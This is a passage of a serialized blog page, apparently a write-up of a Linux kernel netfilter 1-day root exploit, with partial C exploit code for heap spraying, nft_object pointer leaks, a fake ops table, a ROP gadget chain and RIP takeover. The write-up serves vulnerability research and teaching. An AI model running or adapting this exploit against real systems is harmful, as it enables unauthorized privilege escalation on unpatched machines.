char",{"type":23,"tag":75,"props":66394,"children":66395},{"style":110},[66396],{"type":29,"value":66397}," spray_name",{"type":23,"tag":75,"props":66399,"children":66400},{"style":94},[66401],{"type":29,"value":814},{"type":23,"tag":75,"props":66403,"children":66404},{"style":237},[66405],{"type":29,"value":52037},{"type":23,"tag":75,"props":66407,"children":66408},{"style":94},[66409],{"type":29,"value":42769},{"type":23,"tag":75,"props":66411,"children":66412},{"class":77,"line":220},[66413,66417,66421,66425,66429,66433],{"type":23,"tag":75,"props":66414,"children":66415},{"style":82},[66416],{"type":29,"value":66392},{"type":23,"tag":75,"props":66418,"children":66419},{"style":209},[66420],{"type":29,"value":579},{"type":23,"tag":75,"props":66422,"children":66423},{"style":110},[66424],{"type":29,"value":66283},{"type":23,"tag":75,"props":66426,"children":66427},{"style":94},[66428],{"type":29,"value":814},{"type":23,"tag":75,"props":66430,"children":66431},{"style":237},[66432],{"type":29,"value":28518},{"type":23,"tag":75,"props":66434,"children":66435},{"style":94},[66436],{"type":29,"value":42769},{"type":23,"tag":75,"props":66438,"children":66439},{"class":77,"line":248},[66440,66444,66448,66452,66456,66460,66464,66468,66472,66476,66480,66484],{"type":23,"tag":75,"props":66441,"children":66442},{"style":175},[66443],{"type":29,"value":711},{"type":23,"tag":75,"props":66445,"children":66446},{"style":94},[66447],{"type":29,"value":183},{"type":23,"tag":75,"props":66449,"children":66450},{"style":82},[66451],{"type":29,"value":30270},{"type":23,"tag":75,"props":66453,"children":66454},{"style":94},[66455],{"type":29,"value":65728},{"type":23,"tag":75,"props":66457,"children":66458},{"style":209},[66459],{"type":29,"value":212},{"type":23,"tag":75,"props":66461,"children":66462},{"style":237},[66463],{"type":29,"value":240},{"type":23,"tag":75,"props":66465,"children":66466},{"style":94},[66467],{"type":29,"value":62418},{"type":23,"tag":75,"props":66469,"children":66470},{"style":209},[66471],{"type":29,"value":295},{"type":23,"tag":75,"props":66473,"children":66474},{"style":237},[66475],{"type":29,"value":30322},{"type":23,"tag":75,"props":66477,"children":66478},{"style":94},[66479],{"type":29,"value":62449},{"type":23,"tag":75,"props":66481,"children":66482},{"style":209},[66483],{"type":29,"value":62454},{"type":23,"tag":75,"props":66485,"children":66486},{"style":94},[66487],{"type":29,"value":653},{"type":23,"tag":75,"props":66489,"children":66490},{"class":77,"line":270},[66491],{"type":23,"tag":75,"props":66492,"children":66493},{"style":94},[66494],{"type":29,"value":40383},{"type":23,"tag":75,"props":66496,"children":66497},{"class":77,"line":279},[66498,66503,66508,66513,66518,66523],{"type":23,"tag":75,"props":66499,"children":66500},{"style":88},[66501],{"type":29,"value":66502},"        snprintf",{"type":23,"tag":75,"props":66504,"children":66505},{"style":94},[66506],{"type":29,"value":66507},"(spray_name, ",{"type":23,"tag":75,"props":66509,"children":66510},{"style":82},[66511],{"type":29,"value":66512},"sizeof",{"type":23,"tag":75,"props":66514,"children":66515},{"style":94},[66516],{"type":29,"value":66517},"(spray_name), ",{"type":23,"tag":75,"props":66519,"children":66520},{"style":1266},[66521],{"type":29,"value":66522},"\"spray-%i\"",{"type":23,"tag":75,"props":66524,"children":66525},{"style":94},[66526],{"type":29,"value":66527},", i);\n",{"type":23,"tag":75,"props":66529,"children":66530},{"class":77,"line":303},[66531,66536,66540,66544,66549],{"type":23,"tag":75,"props":66532,"children":66533},{"style":110},[66534],{"type":29,"value":66535},"        udata",{"type":23,"tag":75,"props":66537,"children":66538},{"style":94},[66539],{"type":29,"value":65780},{"type":23,"tag":75,"props":66541,"children":66542},{"style":209},[66543],{"type":29,"value":212},{"type":23,"tag":75,"props":66545,"children":66546},{"style":88},[66547],{"type":29,"value":66548}," getudata",{"type":23,"tag":75,"props":66550,"children":66551},{"style":94},[66552],{"type":29,"value":66553},"(nl, spray_name);\n",{"type":23,"tag":75,"props":66555,"children":66556},{"class":77,"line":322},[66557],{"type":23,"tag":75,"props":66558,"children":66559},{"style":94},[66560],{"type":29,"value":346},{"type":23,"tag":75,"props":66562,"children":66563},{"class":77,"line":340},[66564,66568,66572,66576,66580,66584,66588,66592,66596,66600,66605,66609,66613,66617,66621],{"type":23,"tag":75,"props":66565,"children":66566},{"style":175},[66567],{"type":29,"value":1363},{"type":23,"tag":75,"props":66569,"children":66570},{"style":94},[66571],{"type":29,"value":183},{"type":23,"tag":75,"props":66573,"children":66574},{"style":110},[66575],{"type":29,"value":66283},{"type":23,"tag":75,"props":66577,"children":66578},{"style":94},[66579],{"type":29,"value":814},{"type":23,"tag":75,"props":66581,"children":66582},{"style":237},[66583],{"type":29,"value":648},{"type":23,"tag":75,"props":66585,"children":66586},{"style":94},[66587],{"type":29,"value":13526},{"type":23,"tag":75,"props":66589,"children":66590},{"style":237},[66591],{"type":29,"value":648},{"type":23,"tag":75,"props":66593,"children":66594},{"style":94},[66595],{"type":29,"value":13463},{"type":23,"tag":75,"props":66597,"children":66598},{"style":209},[66599],{"type":29,"value":2469},{"type":23,"tag":75,"props":66601,"children":66602},{"style":110},[66603],{"type":29,"value":66604}," udata",{"type":23,"tag":75,"props":66606,"children":66607},{"style":94},[66608],{"type":29,"value":814},{"type":23,"tag":75,"props":66610,"children":66611},{"style":237},[66612],{"type":29,"value":14409},{"type":23,"tag":75,"props":66614,"children":66615},{"style":94},[66616],{"type":29,"value":13526},{"type":23,"tag":75,"props":66618,"children":66619},{"style":237},[66620],{"type":29,"value":648},{"type":23,"tag":75,"props":66622,"children":66623},{"style":94},[66624],{"type":29,"value":13156},{"type":23,"tag":75,"props":66626,"children":66627},{"class":77,"line":349},[66628],{"type":23,"tag":75,"props":66629,"children":66630},{"style":94},[66631],{"type":29,"value":40383},{"type":23,"tag":75,"props":66633,"children":66634},{"class":77,"line":363},[66635,66640,66644,66649],{"type":23,"tag":75,"props":66636,"children":66637},{"style":88},[66638],{"type":29,"value":66639},"        puts",{"type":23,"tag":75,"props":66641,"children":66642},{"style":94},[66643],{"type":29,"value":643},{"type":23,"tag":75,"props":66645,"children":66646},{"style":1266},[66647],{"type":29,"value":66648},"\"[+] got duplicated table\"",{"type":23,"tag":75,"props":66650,"children":66651},{"style":94},[66652],{"type":29,"value":15099},{"type":23,"tag":75,"props":66654,"children":66655},{"class":77,"line":656},[66656],{"type":23,"tag":75,"props":66657,"children":66658},{"style":94},[66659],{"type":29,"value":346},{"type":23,"tag":75,"props":66661,"children":66662},{"class":77,"line":705},[66663],{"type":23,"tag":75,"props":66664,"children":66665},{"emptyLinePlaceholder":15},[66666],{"type":29,"value":276},{"type":23,"tag":75,"props":66668,"children":66669},{"class":77,"line":787},[66670],{"type":23,"tag":75,"props":66671,"children":66672},{"style":3621},[66673],{"type":29,"value":66674},"    // Replace one of the udata buffers with nft_object\n",{"type":23,"tag":75,"props":66676,"children":66677},{"class":77,"line":826},[66678],{"type":23,"tag":75,"props":66679,"children":66680},{"style":3621},[66681],{"type":29,"value":66682},"    // and read it's counterpart to leak the nft_object struct\n",{"type":23,"tag":75,"props":66684,"children":66685},{"class":77,"line":834},[66686,66691,66695,66700],{"type":23,"tag":75,"props":66687,"children":66688},{"style":88},[66689],{"type":29,"value":66690},"    puts",{"type":23,"tag":75,"props":66692,"children":66693},{"style":94},[66694],{"type":29,"value":643},{"type":23,"tag":75,"props":66696,"children":66697},{"style":1266},[66698],{"type":29,"value":66699},"\"[*] Info leak\"",{"type":23,"tag":75,"props":66701,"children":66702},{"style":94},[66703],{"type":29,"value":15099},{"type":23,"tag":75,"props":66705,"children":66706},{"class":77,"line":881},[66707,66712,66717,66721,66725,66729],{"type":23,"tag":75,"props":66708,"children":66709},{"style":88},[66710],{"type":29,"value":66711},"    deludata_spray",{"type":23,"tag":75,"props":66713,"children":66714},{"style":94},[66715],{"type":29,"value":66716},"(nl, ",{"type":23,"tag":75,"props":66718,"children":66719},{"style":237},[66720],{"type":29,"value":648},{"type":23,"tag":75,"props":66722,"children":66723},{"style":94},[66724],{"type":29,"value":611},{"type":23,"tag":75,"props":66726,"children":66727},{"style":237},[66728],{"type":29,"value":7867},{"type":23,"tag":75,"props":66730,"children":66731},{"style":94},[66732],{"type":29,"value":15099},{"type":23,"tag":75,"props":66734,"children":66735},{"class":77,"line":3355},[66736,66741],{"type":23,"tag":75,"props":66737,"children":66738},{"style":88},[66739],{"type":29,"value":66740},"    wait_destroyer",{"type":23,"tag":75,"props":66742,"children":66743},{"style":94},[66744],{"type":29,"value":14944},{"type":23,"tag":75,"props":66746,"children":66747},{"class":77,"line":3390},[66748,66753,66757,66761,66765,66769,66773,66777,66781,66785],{"type":23,"tag":75,"props":66749,"children":66750},{"style":88},[66751],{"type":29,"value":66752},"    obj_spray",{"type":23,"tag":75,"props":66754,"children":66755},{"style":94},[66756],{"type":29,"value":66716},{"type":23,"tag":75,"props":66758,"children":66759},{"style":237},[66760],{"type":29,"value":648},{"type":23,"tag":75,"props":66762,"children":66763},{"style":94},[66764],{"type":29,"value":611},{"type":23,"tag":75,"props":66766,"children":66767},{"style":237},[66768],{"type":29,"value":7867},{"type":23,"tag":75,"props":66770,"children":66771},{"style":94},[66772],{"type":29,"value":611},{"type":23,"tag":75,"props":66774,"children":66775},{"style":82},[66776],{"type":29,"value":65680},{"type":23,"tag":75,"props":66778,"children":66779},{"style":94},[66780],{"type":29,"value":611},{"type":23,"tag":75,"props":66782,"children":66783},{"style":237},[66784],{"type":29,"value":648},{"type":23,"tag":75,"props":66786,"children":66787},{"style":94},[66788],{"type":29,"value":15099},{"type":23,"tag":75,"props":66790,"children":66791},{"class":77,"line":3423},[66792,66797,66801,66806,66810,66814,66819,66823,66827,66832,66836,66841],{"type":23,"tag":75,"props":66793,"children":66794},{"style":82},[66795],{"type":29,"value":66796},"    uint64_t",{"type":23,"tag":75,"props":66798,"children":66799},{"style":209},[66800],{"type":29,"value":579},{"type":23,"tag":75,"props":66802,"children":66803},{"style":94},[66804],{"type":29,"value":66805},"fake_obj ",{"type":23,"tag":75,"props":66807,"children":66808},{"style":209},[66809],{"type":29,"value":212},{"type":23,"tag":75,"props":66811,"children":66812},{"style":94},[66813],{"type":29,"value":183},{"type":23,"tag":75,"props":66815,"children":66816},{"style":82},[66817],{"type":29,"value":66818},"uint64_t",{"type":23,"tag":75,"props":66820,"children":66821},{"style":209},[66822],{"type":29,"value":579},{"type":23,"tag":75,"props":66824,"children":66825},{"style":94},[66826],{"type":29,"value":1347},{"type":23,"tag":75,"props":66828,"children":66829},{"style":88},[66830],{"type":29,"value":66831},"getudata",{"type":23,"tag":75,"props":66833,"children":66834},{"style":94},[66835],{"type":29,"value":66716},{"type":23,"tag":75,"props":66837,"children":66838},{"style":1266},[66839],{"type":29,"value":66840},"\"spray-2\"",{"type":23,"tag":75,"props":66842,"children":66843},{"style":94},[66844],{"type":29,"value":15099},{"type":23,"tag":75,"props":66846,"children":66847},{"class":77,"line":3436},[66848],{"type":23,"tag":75,"props":66849,"children":66850},{"style":94},[66851],{"type":29,"value":21566},{"type":23,"tag":923,"props":66853,"children":66855},{"id":66854},"leaking-self-pointer-of-nft_object",[66856,66858],{"type":29,"value":66857},"Leaking self pointer of ",{"type":23,"tag":71,"props":66859,"children":66861},{"className":66860},[],[66862],{"type":29,"value":66298},{"type":23,"tag":32,"props":66864,"children":66865},{},[66866,66868,66873,66875,66880,66882,66887,66889,66895],{"type":29,"value":66867},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":71,"props":66869,"children":66871},{"className":66870},[],[66872],{"type":29,"value":66298},{"type":29,"value":66874}," to get its own address. This is possible because the ",{"type":23,"tag":71,"props":66876,"children":66878},{"className":66877},[],[66879],{"type":29,"value":66298},{"type":29,"value":66881}," has a ",{"type":23,"tag":71,"props":66883,"children":66885},{"className":66884},[],[66886],{"type":29,"value":66283},{"type":29,"value":66888}," pointer (similar to ",{"type":23,"tag":71,"props":66890,"children":66892},{"className":66891},[],[66893],{"type":29,"value":66894},"table->udata",{"type":29,"value":66896}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":32,"props":66898,"children":66899},{},[66900,66901,66906,66908,66914,66916,66921,66923,66929,66931,66937,66939,66944,66946,66951,66953,66958,66960],{"type":29,"value":2846},{"type":23,"tag":71,"props":66902,"children":66904},{"className":66903},[],[66905],{"type":29,"value":66298},{"type":29,"value":66907}," struct also contains a ",{"type":23,"tag":71,"props":66909,"children":66911},{"className":66910},[],[66912],{"type":29,"value":66913},"list_head",{"type":29,"value":66915}," inserted in a circular list containing all ",{"type":23,"tag":71,"props":66917,"children":66919},{"className":66918},[],[66920],{"type":29,"value":66298},{"type":29,"value":66922},"'s that belong to a given ",{"type":23,"tag":71,"props":66924,"children":66926},{"className":66925},[],[66927],{"type":29,"value":66928},"table",{"type":29,"value":66930},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":71,"props":66932,"children":66934},{"className":66933},[],[66935],{"type":29,"value":66936},"table->list.next",{"type":29,"value":66938}," pointer in the ",{"type":23,"tag":71,"props":66940,"children":66942},{"className":66941},[],[66943],{"type":29,"value":66298},{"type":29,"value":66945}," will point back to the ",{"type":23,"tag":71,"props":66947,"children":66949},{"className":66948},[],[66950],{"type":29,"value":66913},{"type":29,"value":66952}," contained in the ",{"type":23,"tag":71,"props":66954,"children":66956},{"className":66955},[],[66957],{"type":29,"value":66928},{"type":29,"value":66959}," and vice-versa.\n",{"type":23,"tag":15189,"props":66961,"children":66963},{"alt":61763,"src":66962},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":32,"props":66965,"children":66966},{},[66967,66969,66974,66976,66981,66983,66989,66991,66996,66997,67002,67004,67009,67011,67016],{"type":29,"value":66968},"In short, that means that if we swap the ",{"type":23,"tag":71,"props":66970,"children":66972},{"className":66971},[],[66973],{"type":29,"value":66283},{"type":29,"value":66975}," pointer of the ",{"type":23,"tag":71,"props":66977,"children":66979},{"className":66978},[],[66980],{"type":29,"value":66298},{"type":29,"value":66982}," with its own ",{"type":23,"tag":71,"props":66984,"children":66986},{"className":66985},[],[66987],{"type":29,"value":66988},"list.next",{"type":29,"value":66990}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":71,"props":66992,"children":66994},{"className":66993},[],[66995],{"type":29,"value":66298},{"type":29,"value":63524},{"type":23,"tag":71,"props":66998,"children":67000},{"className":66999},[],[67001],{"type":29,"value":66913},{"type":29,"value":67003}," which is also the start of the ",{"type":23,"tag":71,"props":67005,"children":67007},{"className":67006},[],[67008],{"type":29,"value":66298},{"type":29,"value":67010}," itself.\n",{"type":23,"tag":16596,"props":67012,"children":67013},{},[67014],{"type":29,"value":67015},"NOTE:",{"type":29,"value":67017}," This is a novel small trick.",{"type":23,"tag":64,"props":67019,"children":67021},{"className":40306,"code":67020,"language":40308,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[67022],{"type":23,"tag":71,"props":67023,"children":67024},{"__ignoreMap":7},[67025,67032,67040,67053,67101,67128,67139,67177,67184,67213,67243],{"type":23,"tag":75,"props":67026,"children":67027},{"class":77,"line":78},[67028],{"type":23,"tag":75,"props":67029,"children":67030},{"style":94},[67031],{"type":29,"value":21566},{"type":23,"tag":75,"props":67033,"children":67034},{"class":77,"line":100},[67035],{"type":23,"tag":75,"props":67036,"children":67037},{"style":94},[67038],{"type":29,"value":67039},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":75,"props":67041,"children":67042},{"class":77,"line":121},[67043,67048],{"type":23,"tag":75,"props":67044,"children":67045},{"style":94},[67046],{"type":29,"value":67047},"    fake_obj[8] = 8;",{"type":23,"tag":75,"props":67049,"children":67050},{"style":3621},[67051],{"type":29,"value":67052},"           // ulen = 8\n",{"type":23,"tag":75,"props":67054,"children":67055},{"class":77,"line":138},[67056,67061,67065,67070,67074,67078,67083,67087,67091,67096],{"type":23,"tag":75,"props":67057,"children":67058},{"style":110},[67059],{"type":29,"value":67060},"    fake_obj",{"type":23,"tag":75,"props":67062,"children":67063},{"style":94},[67064],{"type":29,"value":814},{"type":23,"tag":75,"props":67066,"children":67067},{"style":237},[67068],{"type":29,"value":67069},"9",{"type":23,"tag":75,"props":67071,"children":67072},{"style":94},[67073],{"type":29,"value":13463},{"type":23,"tag":75,"props":67075,"children":67076},{"style":209},[67077],{"type":29,"value":212},{"type":23,"tag":75,"props":67079,"children":67080},{"style":110},[67081],{"type":29,"value":67082}," fake_obj",{"type":23,"tag":75,"props":67084,"children":67085},{"style":94},[67086],{"type":29,"value":814},{"type":23,"tag":75,"props":67088,"children":67089},{"style":237},[67090],{"type":29,"value":648},{"type":23,"tag":75,"props":67092,"children":67093},{"style":94},[67094],{"type":29,"value":67095},"];",{"type":23,"tag":75,"props":67097,"children":67098},{"style":3621},[67099],{"type":29,"value":67100}," // udata = list->next\n",{"type":23,"tag":75,"props":67102,"children":67103},{"class":77,"line":161},[67104,67108,67112,67116,67120,67124],{"type":23,"tag":75,"props":67105,"children":67106},{"style":88},[67107],{"type":29,"value":66711},{"type":23,"tag":75,"props":67109,"children":67110},{"style":94},[67111],{"type":29,"value":66716},{"type":23,"tag":75,"props":67113,"children":67114},{"style":237},[67115],{"type":29,"value":14409},{"type":23,"tag":75,"props":67117,"children":67118},{"style":94},[67119],{"type":29,"value":611},{"type":23,"tag":75,"props":67121,"children":67122},{"style":237},[67123],{"type":29,"value":7867},{"type":23,"tag":75,"props":67125,"children":67126},{"style":94},[67127],{"type":29,"value":15099},{"type":23,"tag":75,"props":67129,"children":67130},{"class":77,"line":196},[67131,67135],{"type":23,"tag":75,"props":67132,"children":67133},{"style":88},[67134],{"type":29,"value":66740},{"type":23,"tag":75,"props":67136,"children":67137},{"style":94},[67138],{"type":29,"value":14944},{"type":23,"tag":75,"props":67140,"children":67141},{"class":77,"line":220},[67142,67147,67151,67156,67160,67164,67168,67172],{"type":23,"tag":75,"props":67143,"children":67144},{"style":88},[67145],{"type":29,"value":67146},"    udata_spray",{"type":23,"tag":75,"props":67148,"children":67149},{"style":94},[67150],{"type":29,"value":66716},{"type":23,"tag":75,"props":67152,"children":67153},{"style":237},[67154],{"type":29,"value":67155},"0xe8",{"type":23,"tag":75,"props":67157,"children":67158},{"style":94},[67159],{"type":29,"value":611},{"type":23,"tag":75,"props":67161,"children":67162},{"style":237},[67163],{"type":29,"value":28518},{"type":23,"tag":75,"props":67165,"children":67166},{"style":94},[67167],{"type":29,"value":611},{"type":23,"tag":75,"props":67169,"children":67170},{"style":237},[67171],{"type":29,"value":7867},{"type":23,"tag":75,"props":67173,"children":67174},{"style":94},[67175],{"type":29,"value":67176},", fake_obj);\n",{"type":23,"tag":75,"props":67178,"children":67179},{"class":77,"line":248},[67180],{"type":23,"tag":75,"props":67181,"children":67182},{"emptyLinePlaceholder":15},[67183],{"type":29,"value":276},{"type":23,"tag":75,"props":67185,"children":67186},{"class":77,"line":270},[67187,67192,67196,67201,67205,67209],{"type":23,"tag":75,"props":67188,"children":67189},{"style":88},[67190],{"type":29,"value":67191},"    get_obj",{"type":23,"tag":75,"props":67193,"children":67194},{"style":94},[67195],{"type":29,"value":66716},{"type":23,"tag":75,"props":67197,"children":67198},{"style":1266},[67199],{"type":29,"value":67200},"\"spray-0\"",{"type":23,"tag":75,"props":67202,"children":67203},{"style":94},[67204],{"type":29,"value":611},{"type":23,"tag":75,"props":67206,"children":67207},{"style":82},[67208],{"type":29,"value":15268},{"type":23,"tag":75,"props":67210,"children":67211},{"style":94},[67212],{"type":29,"value":15099},{"type":23,"tag":75,"props":67214,"children":67215},{"class":77,"line":279},[67216,67221,67225,67230,67234,67238],{"type":23,"tag":75,"props":67217,"children":67218},{"style":88},[67219],{"type":29,"value":67220},"    printf",{"type":23,"tag":75,"props":67222,"children":67223},{"style":94},[67224],{"type":29,"value":643},{"type":23,"tag":75,"props":67226,"children":67227},{"style":1266},[67228],{"type":29,"value":67229},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":75,"props":67231,"children":67232},{"style":11688},[67233],{"type":29,"value":59567},{"type":23,"tag":75,"props":67235,"children":67236},{"style":1266},[67237],{"type":29,"value":31282},{"type":23,"tag":75,"props":67239,"children":67240},{"style":94},[67241],{"type":29,"value":67242},", obj_ptr);\n",{"type":23,"tag":75,"props":67244,"children":67245},{"class":77,"line":303},[67246],{"type":23,"tag":75,"props":67247,"children":67248},{"style":94},[67249],{"type":29,"value":21566},{"type":23,"tag":923,"props":67251,"children":67253},{"id":67252},"hijacking-control-flow",[67254],{"type":29,"value":67255},"Hijacking control-flow",{"type":23,"tag":32,"props":67257,"children":67258},{},[67259,67261,67266,67268,67273,67275,67280,67282,67287,67289,67294,67296],{"type":29,"value":67260},"To hijack control-flow, we can use ",{"type":23,"tag":71,"props":67262,"children":67264},{"className":67263},[],[67265],{"type":29,"value":66298},{"type":29,"value":67267}," once again. The ",{"type":23,"tag":71,"props":67269,"children":67271},{"className":67270},[],[67272],{"type":29,"value":66298},{"type":29,"value":67274}," struct has an ",{"type":23,"tag":71,"props":67276,"children":67278},{"className":67277},[],[67279],{"type":29,"value":63855},{"type":29,"value":67281}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":71,"props":67283,"children":67285},{"className":67284},[],[67286],{"type":29,"value":63855},{"type":29,"value":67288}," pointer with the ",{"type":23,"tag":71,"props":67290,"children":67292},{"className":67291},[],[67293],{"type":29,"value":66283},{"type":29,"value":67295}," pointer, taking control of the pointer table.\n",{"type":23,"tag":15189,"props":67297,"children":67299},{"alt":61763,"src":67298},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":64,"props":67301,"children":67303},{"className":40306,"code":67302,"language":40308,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[67304],{"type":23,"tag":71,"props":67305,"children":67306},{"__ignoreMap":7},[67307,67314,67322,67346,67393,67429,67436,67444,67476,67484,67492,67513,67521,67529,67593,67600,67608,67616,67623,67631,67665,67673,67680,67688,67695,67703,67736,67757],{"type":23,"tag":75,"props":67308,"children":67309},{"class":77,"line":78},[67310],{"type":23,"tag":75,"props":67311,"children":67312},{"style":94},[67313],{"type":29,"value":21566},{"type":23,"tag":75,"props":67315,"children":67316},{"class":77,"line":100},[67317],{"type":23,"tag":75,"props":67318,"children":67319},{"style":94},[67320],{"type":29,"value":67321},"    // Fake ops\n",{"type":23,"tag":75,"props":67323,"children":67324},{"class":77,"line":121},[67325,67330,67334,67338,67342],{"type":23,"tag":75,"props":67326,"children":67327},{"style":94},[67328],{"type":29,"value":67329},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":75,"props":67331,"children":67332},{"style":104},[67333],{"type":29,"value":66512},{"type":23,"tag":75,"props":67335,"children":67336},{"style":94},[67337],{"type":29,"value":643},{"type":23,"tag":75,"props":67339,"children":67340},{"style":82},[67341],{"type":29,"value":66818},{"type":23,"tag":75,"props":67343,"children":67344},{"style":94},[67345],{"type":29,"value":18485},{"type":23,"tag":75,"props":67347,"children":67348},{"class":77,"line":138},[67349,67354,67358,67362,67366,67370,67375,67379,67384,67388],{"type":23,"tag":75,"props":67350,"children":67351},{"style":110},[67352],{"type":29,"value":67353},"    rop",{"type":23,"tag":75,"props":67355,"children":67356},{"style":94},[67357],{"type":29,"value":814},{"type":23,"tag":75,"props":67359,"children":67360},{"style":237},[67361],{"type":29,"value":648},{"type":23,"tag":75,"props":67363,"children":67364},{"style":94},[67365],{"type":29,"value":13463},{"type":23,"tag":75,"props":67367,"children":67368},{"style":209},[67369],{"type":29,"value":212},{"type":23,"tag":75,"props":67371,"children":67372},{"style":94},[67373],{"type":29,"value":67374}," kaslr_slide ",{"type":23,"tag":75,"props":67376,"children":67377},{"style":209},[67378],{"type":29,"value":7862},{"type":23,"tag":75,"props":67380,"children":67381},{"style":237},[67382],{"type":29,"value":67383}," 0xffffffff81988647",{"type":23,"tag":75,"props":67385,"children":67386},{"style":94},[67387],{"type":29,"value":60260},{"type":23,"tag":75,"props":67389,"children":67390},{"style":3621},[67391],{"type":29,"value":67392}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":75,"props":67394,"children":67395},{"class":77,"line":161},[67396,67400,67404,67408,67412,67416,67420,67424],{"type":23,"tag":75,"props":67397,"children":67398},{"style":110},[67399],{"type":29,"value":67353},{"type":23,"tag":75,"props":67401,"children":67402},{"style":94},[67403],{"type":29,"value":814},{"type":23,"tag":75,"props":67405,"children":67406},{"style":237},[67407],{"type":29,"value":14409},{"type":23,"tag":75,"props":67409,"children":67410},{"style":94},[67411],{"type":29,"value":13463},{"type":23,"tag":75,"props":67413,"children":67414},{"style":209},[67415],{"type":29,"value":212},{"type":23,"tag":75,"props":67417,"children":67418},{"style":94},[67419],{"type":29,"value":67374},{"type":23,"tag":75,"props":67421,"children":67422},{"style":209},[67423],{"type":29,"value":7862},{"type":23,"tag":75,"props":67425,"children":67426},{"style":94},[67427],{"type":29,"value":67428}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":75,"props":67430,"children":67431},{"class":77,"line":196},[67432],{"type":23,"tag":75,"props":67433,"children":67434},{"style":94},[67435],{"type":29,"value":21566},{"type":23,"tag":75,"props":67437,"children":67438},{"class":77,"line":220},[67439],{"type":23,"tag":75,"props":67440,"children":67441},{"style":94},[67442],{"type":29,"value":67443},"    // Send ROP in object udata\n",{"type":23,"tag":75,"props":67445,"children":67446},{"class":77,"line":248},[67447,67452,67456,67461,67466,67471],{"type":23,"tag":75,"props":67448,"children":67449},{"style":94},[67450],{"type":29,"value":67451},"    del_obj(",{"type":23,"tag":75,"props":67453,"children":67454},{"style":104},[67455],{"type":29,"value":65474},{"type":23,"tag":75,"props":67457,"children":67458},{"style":94},[67459],{"type":29,"value":67460},", \"",{"type":23,"tag":75,"props":67462,"children":67463},{"style":104},[67464],{"type":29,"value":67465},"spray",{"type":23,"tag":75,"props":67467,"children":67468},{"style":94},[67469],{"type":29,"value":67470},"-0",{"type":23,"tag":75,"props":67472,"children":67473},{"style":1266},[67474],{"type":29,"value":67475},"\");\n",{"type":23,"tag":75,"props":67477,"children":67478},{"class":77,"line":270},[67479],{"type":23,"tag":75,"props":67480,"children":67481},{"style":1266},[67482],{"type":29,"value":67483},"    wait_destroyer();\n",{"type":23,"tag":75,"props":67485,"children":67486},{"class":77,"line":279},[67487],{"type":23,"tag":75,"props":67488,"children":67489},{"style":1266},[67490],{"type":29,"value":67491},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":75,"props":67493,"children":67494},{"class":77,"line":303},[67495,67500,67504,67509],{"type":23,"tag":75,"props":67496,"children":67497},{"style":1266},[67498],{"type":29,"value":67499},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":75,"props":67501,"children":67502},{"style":82},[67503],{"type":29,"value":67465},{"type":23,"tag":75,"props":67505,"children":67506},{"style":94},[67507],{"type":29,"value":67508},"-3",{"type":23,"tag":75,"props":67510,"children":67511},{"style":1266},[67512],{"type":29,"value":67475},{"type":23,"tag":75,"props":67514,"children":67515},{"class":77,"line":322},[67516],{"type":23,"tag":75,"props":67517,"children":67518},{"style":1266},[67519],{"type":29,"value":67520},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":75,"props":67522,"children":67523},{"class":77,"line":340},[67524],{"type":23,"tag":75,"props":67525,"children":67526},{"style":1266},[67527],{"type":29,"value":67528},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":75,"props":67530,"children":67531},{"class":77,"line":349},[67532,67537,67541,67545,67549,67554,67559,67564,67568,67573,67578,67583,67588],{"type":23,"tag":75,"props":67533,"children":67534},{"style":1266},[67535],{"type":29,"value":67536},"    printf(\"",{"type":23,"tag":75,"props":67538,"children":67539},{"style":94},[67540],{"type":29,"value":814},{"type":23,"tag":75,"props":67542,"children":67543},{"style":209},[67544],{"type":29,"value":601},{"type":23,"tag":75,"props":67546,"children":67547},{"style":94},[67548],{"type":29,"value":13463},{"type":23,"tag":75,"props":67550,"children":67551},{"style":104},[67552],{"type":29,"value":67553},"ROP",{"type":23,"tag":75,"props":67555,"children":67556},{"style":104},[67557],{"type":29,"value":67558}," addr",{"type":23,"tag":75,"props":67560,"children":67561},{"style":94},[67562],{"type":29,"value":67563},": 